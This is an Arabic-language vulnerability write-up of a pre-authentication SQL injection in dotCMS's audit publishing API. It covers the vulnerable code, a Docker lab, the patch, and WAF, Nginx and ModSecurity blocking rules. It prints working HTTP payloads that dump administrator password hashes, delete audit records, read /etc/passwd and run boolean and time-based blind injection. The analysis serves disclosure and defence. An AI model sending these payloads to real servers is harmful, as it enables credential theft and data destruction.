
حقن SQL قبل المصادقة في dotCMS
CVE-2026-8054 هي ثغرة حقن SQL عالية الخطورة قبل المصادقة (Pre-auth SQL Injection) موجودة في واجهة برمجة تطبيقات تدقيق النشر (Publish Audit API) في dotCMS Core. تتابعها الجهة الرسمية كـحادث أمني SI-75، وقد تم إدراجها والإفصاح عنها رسميًا في نهاية مايو 2026. ونظرًا لأن المهاجم يمكنه استغلالها عن بُعد دون الحاجة إلى أي صلاحيات حساب، فإن ضررها المحتمل خطير جدًا.
| الخاصية | القيمة |
|---|---|
| رقم CVE | CVE-2026-8054 |
| التتبع الرسمي | SI-75 |
| نوع الثغرة | حقن SQL (CWE-89) |
| المكوّن المتأثر | dotCMS Core - Publish Audit API |
| درجة CVSS | 10.0 (Critical) |
| الإصدارات المتأثرة | 25.11.04-1 إلى 26.04.28-02 |
| الإصدار المُصحَّح | 26.04.28-03 |
| ناقل الهجوم | حقن SQL عن بُعد بدون مصادقة (Pre-auth) |
| الصلاحيات المطلوبة | بدون مصادقة |
| تفاعل المستخدم | لا يوجد |
| تأثير إصدارات LTS | غير متأثرة (لم يُنقل فرع كود التدقيق إلى شجرة LTS) |
توجد الثغرة في واجهتي REST التاليتين: /api/auditPublishing/get و /api/auditPublishing/getAll. عند استلام هاتين الواجهتين لمعاملات الطلب المُدخلة من العميل، لا يتم إجراء أي تصفية أو ربط مُعاملات (Parameter Binding)، بل تُبنى استعلامات SQL ديناميكيًا مباشرة عبر وصل النصوص (String Concatenation).
والأخطر من ذلك، أن dotCMS أغفلت تمامًا التحقق من الهوية وفحوصات التفويض (Authorization) على هذه الواجهات الخلفية الحساسة المتعلقة بالتدقيق. وهذا يعني أن أي مهاجم عن بُعد بدون بيانات اعتماد على الشبكة الخارجية، طالما يمكنه الوصول إلى النظام عبر الشبكة، يستطيع إرسال طلبات HTTP تحمل حمولات (Payloads) خبيثة مباشرة إلى الواجهات.
مسار الملف: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
توجد الثغرة في نقطتي نهاية REST API:
GET /api/auditPublishing/get/{bundleId} - الحصول على حالة تدقيق نشر واحدةPOST /api/auditPublishing/getAll - الحصول على حالات تدقيق النشر بشكل مجمّعالمشكلة الأساسية: قبل الإصلاح، كانت هاتان النقطتان لا تتطلبان أي مصادقة، ويمكن لأي مستخدم مجهول الوصول إليهما مباشرة.
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【漏洞点】没有认证检查!直接调用后端API
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
مسار الملف: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
الدالة: getPublishAuditStatuses(List<String> bundleIds) (الأسطر 224-245)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【漏洞点1】直接将用户输入拼接到SQL语句中
// 仅添加单引号包裹,没有任何参数化或转义处理
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // 危险: 字符串拼接
.collect(Collectors.toList());
// 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
ثابت SQL (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph المهاجم الخارجي
A[مهاجم عن بُعد] -->|إرسال حمولة خبيثة| B[HTTP REST API]
end
subgraph Application Layer
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|استدعاء| D[PublishAuditAPI]
D -->|استدعاء| E[PublishAuditAPIImpl]
E -->|تمرير bundleIds| F[معالجة التلوث<br/>bundleIds.stream<br/>.map id -> id]
F -->|وصل المعاملات| G[بناء SQL<br/>String.format]
end
subgraph Technology Layer
G -->|بناء SQL| H[استعلام SQL ديناميكي<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|تنفيذ| I[تنفيذ SQL]
I -->|تنفيذ SQL مُحقون| J[PostgreSQL/MySQL]
end
subgraph نقاط الثغرة
K[نقطة الثغرة 1<br/>لا يوجد فحص مصادقة] -.->|تجاوز المصادقة| C
L[نقطة الثغرة 2<br/>لا يوجد ربط مُعاملات] -.->|يضيف اقتباسات فقط| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333
انتشار التلوث: إدخال المستخدم → REST API → المعالجة الخلفية → بناء SQL → تنفيذ قاعدة البيانات العيب الحرج: عدم وجود مصادقة + عدم وجود مُعاملات = حقن SQL قابل للتحكم بالكامل
افترض أن إدخال المستخدم هو bundleIds = ["x' OR '1'='1"]
SQL الطبيعي:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
SQL بعد الحقن:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
وبما أن '1'='1' صحيحة دائمًا، فإن هذا الاستعلام سيعيد جميع السجلات من الجدول.
graph TD
subgraph مقارنة الإدخال
A[إدخال طبيعي<br/>bundle-123] -->|بناء| B[SQL طبيعي<br/>WHERE bundle_id IN<br/>'bundle-123']
C[إدخال خبيث<br/>x OR 1=1] -->|حقن| D[SQL مُحقون<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph تنفيذ قاعدة البيانات
B -->|تنفيذ| E[قاعدة البيانات]
D -->|تنفيذ| E
end
subgraph مقارنة النتائج
E -->|إرجاع| F[نتيجة طبيعية<br/>سجل واحد]
E -->|إرجاع تسريب بيانات| G[نتيجة التسريب<br/>جميع السجلات]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[نقطة الحقن: علامة الاقتباس المفردة تُغلق السلسلة الأصلية<br/>OR 1=1 تجعل الشرط صحيحًا دائمًا<br/>النتيجة: إرجاع جميع السجلات]
يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح تنفيذ أي أوامر SQL بسياق مستخدم نظام قاعدة البيانات، مما يؤدي إلى العواقب الوخيمة التالية:
graph TD
subgraph تحليل أثر الهجوم
subgraph سرية البيانات
A[تجزئة كلمة مرور المسؤول]
B[بيانات اعتماد المستخدمين]
C[رمز إعادة التعيين]
D[إعدادات النظام]
end
subgraph سلامة البيانات
E[محتوى الموقع]
F[صلاحيات وأدوار المستخدمين]
G[سجلات التدقيق]
end
subgraph توافر النظام
H[DROP TABLE]
I[حذف البيانات]
J[تحديث البيانات]
end
subgraph تصعيد الصلاحيات
K[الاستيلاء على حساب المسؤول]
L[قراءة وكتابة نظام الملفات]
M[تنفيذ الكود عن بُعد]
end
end
N[ثغرة حقن SQL] -->|تسريب| A
N -->|تسريب| B
N -->|تسريب| C
N -->|عبث| E
N -->|عبث| F
N -->|تنفيذ| H
N -->|تحقيق| K
N -->|تحقيق| L
O[CVSS 10.0 Critical] -.->|تقييم| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fff
يمكن للمهاجم عبر حقن SQL تفريغ الجداول الأساسية لقاعدة البيانات والحصول على:
مثال على حمولة هجوم - الحصول على كلمة مرور المسؤول:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
يمكن للمهاجم تعديل أو إدراج أو حذف أي شيء في قاعدة البيانات:
مثال على حمولة هجوم - حذف سجلات التدقيق:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
اعتمادًا على نوع قاعدة البيانات المتصلة بالواجهة الخلفية (PostgreSQL وMySQL وغيرها) والصلاحيات المكوّنة، قد يتمكن المهاجم عبر نقطة الحقن من تحقيق ما يلي أيضًا:
مثال على حمولة هجوم - قراءة ملفات PostgreSQL:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
graph TB
subgraph بنية بيئة Docker
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>شبكة bridge]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|كشف| E
A -->|كشف| F
B -->|كشف| G
C -->|كشف| H
A -->|الاتصال بقاعدة البيانات| B
A -->|الاتصال بمحرك البحث| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333
note1[إصدار الثغرة: 25.11.04-1<br/>كلمة المرور الافتراضية: admin<br/>المنافذ: 8080, 8443]
إعداد بيئة الثغرة باستخدام Docker Compose:
docker-compose.yml:
services:
dotcms:
build: .
container_name: dotcms-vuln
ports:
- "8080:8080"
- "8443:8443"
environment:
- DOT_INITIAL_ADMIN_PASSWORD=admin
- DOT_DOTCMS_URL=http://localhost:8080
- DOT_DB_HOST=dotcms-db
- DOT_DB_PORT=5432
- DOT_DB_NAME=dotcms
- DOT_DB_USERNAME=dotcms
- DOT_DB_PASSWORD=dotcms
- DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
- DOT_DB_DRIVER=org.postgresql.Driver
- DOT_ES_ENDPOINTS=http://dotcms-es:9200
- DOT_ES_HOSTNAME=dotcms-es
depends_on:
dotcms-db:
condition: service_healthy
dotcms-es:
condition: service_started
dotcms-db:
image: postgres:15
environment:
- POSTGRES_DB=dotcms
- POSTGRES_USER=dotcms
- POSTGRES_PASSWORD=dotcms
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dotcms"]
interval: 5s
timeout: 5s
retries: 20
dotcms-es:
image: elasticsearch:7.17.24
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
Dockerfile:
FROM dotcms/dotcms:25.11.04-1
أمر التشغيل:
docker compose up -d
# 等待dotCMS初始化完成(约2-3分钟)
# 检查状态: docker compose logs -f dotcms
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11
["test-id"]
الاستجابة: 200 OK، تُرجع مصفوفة فارغة []، مما يثبت أنه يمكن الوصول إلى نقطة النهاية دون مصادقة.
مبدأ الحقن الأعمى البولياني: تحديد صحة شرط الحقن (صحيح/خاطئ) من خلال ملاحظة الاختلاف في رموز حالة استجابة HTTP.
graph TD
subgraph عملية الحقن الأعمى البولياني
A["إرسال طلب"] -->|إرسال حمولة| B["/api/auditPublishing/getAll"]
B -->|شرط صحيح| C["شرط صحيح and 1=1"]
B -->|شرط خاطئ| D["شرط خاطئ and 1=2"]
C -->|إرجاع بيانات| E["404 Not Found توجد بيانات NPE"]
D -->|لا تُرجع بيانات| F["200 OK + مصفوفة فارغة بلا بيانات بشكل طبيعي"]
E -->|تحليل| G["تحليل الاستجابة"]
F -->|تحليل| G
G -->|استنتاج صحة الشرط| H["استخلاص النتيجة"]
end
style C fill:#51cf66,stroke:#333
style D fill:#ff6b6b,stroke:#333,color:#fff
style E fill:#ff6b6b,stroke:#333,color:#fff
style F fill:#51cf66,stroke:#333
note1["الحمولة: real-bundle-1 and 1=1 الاستجابة: 404 خطأ NPE الاستنتاج: الشرط صحيح"]
note2["الحمولة: real-bundle-1 and 1=2 الاستجابة: 200 + مصفوفة فارغة الاستنتاج: الشرط خاطئ"]
اختبار الشرط الصحيح (and 1=1):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=1--'"]
الاستجابة: 404 Not Found
اختبار الشرط الخاطئ (and 1=2):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=2--'"]
الاستجابة: 200 OK، تُرجع []
تحليل تنفيذ SQL:
-- 真条件: bundle_id匹配 且 1=1为真 -> 返回数据 -> 代码处理NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')
-- 假条件: bundle_id匹配 但 1=2为假 -> 不返回数据 -> 空结果正常处理 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')
مبدأ اختلاف الاستجابة:
الخلاصة: من خلال الفرق بين استجابتي 404/200، يمكن للمهاجم استنتاج أي معلومة في قاعدة البيانات بتًا بتًا (أسماء الجداول، قيم الحقول، تجزئات كلمات المرور، إلخ).
مبدأ الحقن الأعمى الزمني: تحديد صحة شرط الحقن من خلال ملاحظة الاختلاف في زمن الاستجابة.
graph TD
subgraph عملية الحقن الأعمى الزمني
A["إرسال طلب"] -->|إرسال حمولة| B["/api/auditPublishing/getAll"]
B -->|تمرير| C["حمولة تأخير SELECT pg_sleep N"]
C -->|تنفيذ SQL| D["PostgreSQL"]
D -->|استدعاء| E["pg_sleep N تنفيذ مؤجَّل"]
E -->|تأخير N ثانية| F["قياس زمن الاستجابة"]
F -->|مقارنة بخط الأساس| G["تحليل فرق التأخير"]
G -->|استنتاج صحة الشرط| H["استخلاص النتيجة"]
end
style C fill:#51cf66,stroke:#333
style E fill:#51cf66,stroke:#333
note1["الحمولة: x and SELECT pg_sleep 3 text=t الاستجابة العادية: 0.03 ثانية الاستجابة المؤجلة: 3.02 ثانية الاستنتاج: نجح تنفيذ pg_sleep"]
اختبار تأخير 3 ثوانٍ:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(3))::text='t'--'"]

الاستجابة: 200 OK، استغرق 3.02 ثانية
اختبار تأخير 5 ثوانٍ:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(5))::text='t'--'"]
الاستجابة: 200 OK، استغرق 5.01 ثانية
تحليل تنفيذ SQL:
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')
مقارنة زمن الاستجابة:
الخلاصة: بالتحكم في زمن الاستجابة، يمكن للمهاجم استنتاج معلومات قاعدة البيانات بتًا بتًا في السيناريوهات التي لا تُظهر نتائج مباشرة.
graph TD
subgraph خطة الإصلاح
subgraph إصلاح الكود
A[استعلام مُعامل<br/>استخدام عناصر نائبة]
B[تعزيز المصادقة<br/>Push Publish Token]
C[التحقق من الإدخال<br/>فحص null/القيم الفارغة]
end
subgraph تأثير الإصلاح
D[منع حقن SQL]
E[تقييد الوصول غير المصرح به]
F[منع استثناء المؤشر الفارغ]
end
G[PR #35553]
H[الإصدار المُصحَّح<br/>26.04.28-03]
end
G -->|تنفيذ| A
G -->|تنفيذ| B
G -->|تنفيذ| C
A -->|ربط المعاملات| D
B -->|فرض المصادقة| E
C -->|معالجة القيم الفارغة| F
H -->|يتضمن| G
style G fill:#51cf66,stroke:#333
style H fill:#51cf66,stroke:#333
note1[قبل الإصلاح: وصل عبر String.format<br/>بعد الإصلاح: ربط المعاملات عبر dc.addParam]
قبل الإصلاح (الكود الثغري):
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'")
.collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));
بعد الإصلاح (الكود الآمن):
// 新增: 空值检查
if (bundleIds == null || bundleIds.isEmpty()) {
return Collections.emptyList();
}
// 使用参数化查询占位符
final String placeholders = bundleIds.stream()
.map(id -> "?")
.collect(Collectors.joining(","));
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam); // 参数绑定,防止SQL注入
قبل الإصلاح:
public Response getAll(List<String> bundleIds) {
// 无认证检查
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
بعد الإصلاح:
public Response getAll(final List<String> bundleIds,
@Context final HttpServletRequest request) {
// 新增: Push Publish Token认证检查
final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);
final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);
if (failResponse.isPresent()) {
return failResponse.get(); // 返回401 Unauthorized
}
// ...
}
| إجراء الإصلاح | الوصف |
|---|---|
| الاستعلام المُعامل | استخدام العناصر النائبة ? بدلًا من وصل النصوص، حيث تتعامل قاعدة البيانات تلقائيًا مع تهريب المعاملات، مما يمنع حقن SQL من جذوره |
| تعزيز المصادقة | يتطلب أن يحمل الطلب رمز Push Publish Token صالحًا، ولا يُسمح بالوصول إلا للمستخدمين المُسجَّلين في اللوحة الخلفية الحاصلين على صلاحية مكوّن publishing-queue |
| التحقق من الإدخال | إضافة فحوصات null والقوائم الفارغة لمنع استثناء المؤشر الفارغ |
إذا تعذرت الترقية الفورية إلى الإصدار المُصحَّح، يمكن اتخاذ الإجراءات المؤقتة التالية للتخفيف:
graph TD
subgraph إجراءات الحماية
subgraph طبقة الشبكة
A[حظر بقواعد WAF<br/>منع /api/auditPublishing/]
B[تقييد جدار الحماية<br/>السماح بالوصول الداخلي فقط]
end
subgraph طبقة التطبيق
C[قواعد حماية Nginx<br/>حظر عبر location]
D[قواعد ModSecurity<br/>كشف حقن SQL]
end
subgraph طبقة البيانات
E[تقييد صلاحيات قاعدة البيانات<br/>مبدأ الامتياز الأقل]
F[تقييد الدوال عالية الخطورة<br/>pg_read_file وغيرها]
end
G[الترقية إلى 26.04.28-03<br/>الحل الجذري]
end
A -.->|بديل مؤقت| G
B -.->|بديل مؤقت| G
C -.->|بديل مؤقت| G
E -.->|تقليل الأثر| G
style G fill:#51cf66,stroke:#333
style A fill:#ffd43b,stroke:#333
style B fill:#ffd43b,stroke:#333
style C fill:#ffd43b,stroke:#333
style D fill:#ffd43b,stroke:#333
note1[الأولوية: P0 - الترقية فورًا<br/>الإجراءات الأخرى حلول تخفيف مؤقتة]
قم بضبط سياسات التحكم في الوصول على جدار حماية تطبيقات الويب (WAF) أو الخادم الوكيل العكسي، بحيث يتم اعتراض أو رفض طلبات الشبكة الخارجية إلى المسارين /api/auditPublishing/get و /api/auditPublishing/getAll مباشرة.
# /etc/nginx/conf.d/dotcms-security.conf
# 拦截 Publish Audit API 请求
location ~ ^/api/auditPublishing/(get|getAll) {
# 返回403禁止访问
return 403 "Forbidden: Endpoint blocked for security reasons";
add_header Content-Type text/plain;
}
# 或者使用更宽松的方式,仅允许内网访问
location ~ ^/api/auditPublishing/(get|getAll) {
# 允许内网IP段
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
# 拒绝其他所有来源
deny all;
}
# 针对SQL注入特征的WAF规则
location / {
# 检测常见的SQL注入特征
if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
return 403;
}
# 检测单引号注入
if ($request_uri ~* "'") {
return 403;
}
proxy_pass http://dotcms_backend;
}
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf
# 规则1: 拦截对漏洞端点的访问
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
"id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"
# 规则2: 检测SQL注入特征
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
"id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"
تأكد من أن الحساب الذي يستخدمه dotCMS للاتصال بقاعدة البيانات يلتزم بمبدأ الامتياز الأقل (Least Privilege):
-- PostgreSQL 权限限制示例
-- 创建受限用户
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';
-- 仅授予必要的表权限
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;
-- 禁止创建/删除表
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;
-- 禁止执行系统命令
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;
-- 禁止读取文件
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;
# 使用iptables限制对API端口的访问
# 仅允许内网访问8080端口
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
graph TD
subgraph ملخص الثغرة
subgraph تحليل السبب الجذري
A[غياب التحقق من الإدخال<br/>وصل إدخال المستخدم مباشرة في SQL]
B[غياب المصادقة<br/>API يمكن الوصول إليها دون مصادقة]
C[غياب المُعاملات<br/>وصل نصوص بدلًا من استعلام مُعامل]
end
subgraph تقييم CVSS
D[CVSS 10.0<br/>Critical]
E[شبكة عن بُعد]
F[تعقيد منخفض]
G[دون مصادقة]
end
subgraph توصيات الإصلاح
H[P0: الترقية فورًا<br/>26.04.28-03]
I[P1: حظر WAF<br/>تخفيف مؤقت]
J[P2: صلاحيات قاعدة البيانات<br/>تقليل الأثر]
end
end
A -->|يسبب| D
B -->|يسبب| D
C -->|يسبب| D
H -->|يحل| A
H -->|يحل| B
H -->|يحل| C
I -.->|بديل مؤقت| H
J -.->|تقليل المخاطر| H
style D fill:#ff6b6b,stroke:#333,color:#fff
style H fill:#51cf66,stroke:#333
note1[ناقل الهجوم: Network<br/>تعقيد الهجوم: Low<br/>الصلاحيات المطلوبة: None<br/>تفاعل المستخدم: None]
ذكرت الجهة الرسمية أن إصدارات LTS (الدعم طويل الأمد) غير متأثرة، لأن فرع كود التدقيق المتأثر لم يُنقل أبدًا بشكل عكسي (Backported) إلى شجرة LTS. وبالتالي لا يحتاج مستخدمو إصدارات LTS إلى ترقية عاجلة.
زمن إعداد التقرير: 2026-06-08 أدوات التحليل: Docker, curl, PostgreSQL إصدار الثغرة: dotCMS 25.11.04-1 الإصدار المُصحَّح: dotCMS 26.04.28-03 (PR #35553)
| البُعد | التقييم |
|---|
| ناقل الهجوم | شبكة عن بُعد (Network) |
| تعقيد الهجوم | منخفض (Low) |
| الشروط المسبقة | لا شيء (None) |
| تفاعل المستخدم | لا شيء (None) |
| النطاق المتأثر | متغيّر (Changed) |
| تأثير السرية | مرتفع (High) |
| تأثير السلامة | مرتفع (High) |
| تأثير التوافر | مرتفع (High) |
| الشرط | نتيجة SQL | سلوك الكود | استجابة HTTP |
|---|
and 1=1 (صحيح) | إرجاع السجلات المطابقة | استثناء NullPointerException عند معالجة البيانات في turnIntoPublishAuditStatus() | 404 |
and 1=2 (خاطئ) | عدم إرجاع سجلات | قائمة فارغة تُرجع بشكل طبيعي | 200 + [] |
| الحمولة | التأخير المتوقع | الوقت الفعلي | النتيجة |
|---|
| طلب عادي | 0 ثانية | 0.03 ثانية | ✅ |
| pg_sleep(3) | 3 ثوانٍ | 3.02 ثانية | ✅ نجح التأخير |
| pg_sleep(5) | 5 ثوانٍ | 5.01 ثانية | ✅ نجح التأخير |
| الأولوية | الإجراء | الوصف |
|---|
| P0 - فوري | الترقية إلى dotCMS 26.04.28-03 أو إصدار أحدث | الإصدار المُصحَّح الرسمي، يحل المشكلة جذريًا |
| P1 - عاجل | تكوين قواعد حظر WAF | إجراء تخفيف مؤقت لمنع حركة الهجوم |
| P2 - مهم | تقييد صلاحيات قاعدة البيانات | تقليل نطاق الأثر بعد استغلال الثغرة |
| P3 - موصى به | تدقيق أمني لنقاط النهاية الأخرى | التحقق من وجود مشكلات مشابهة |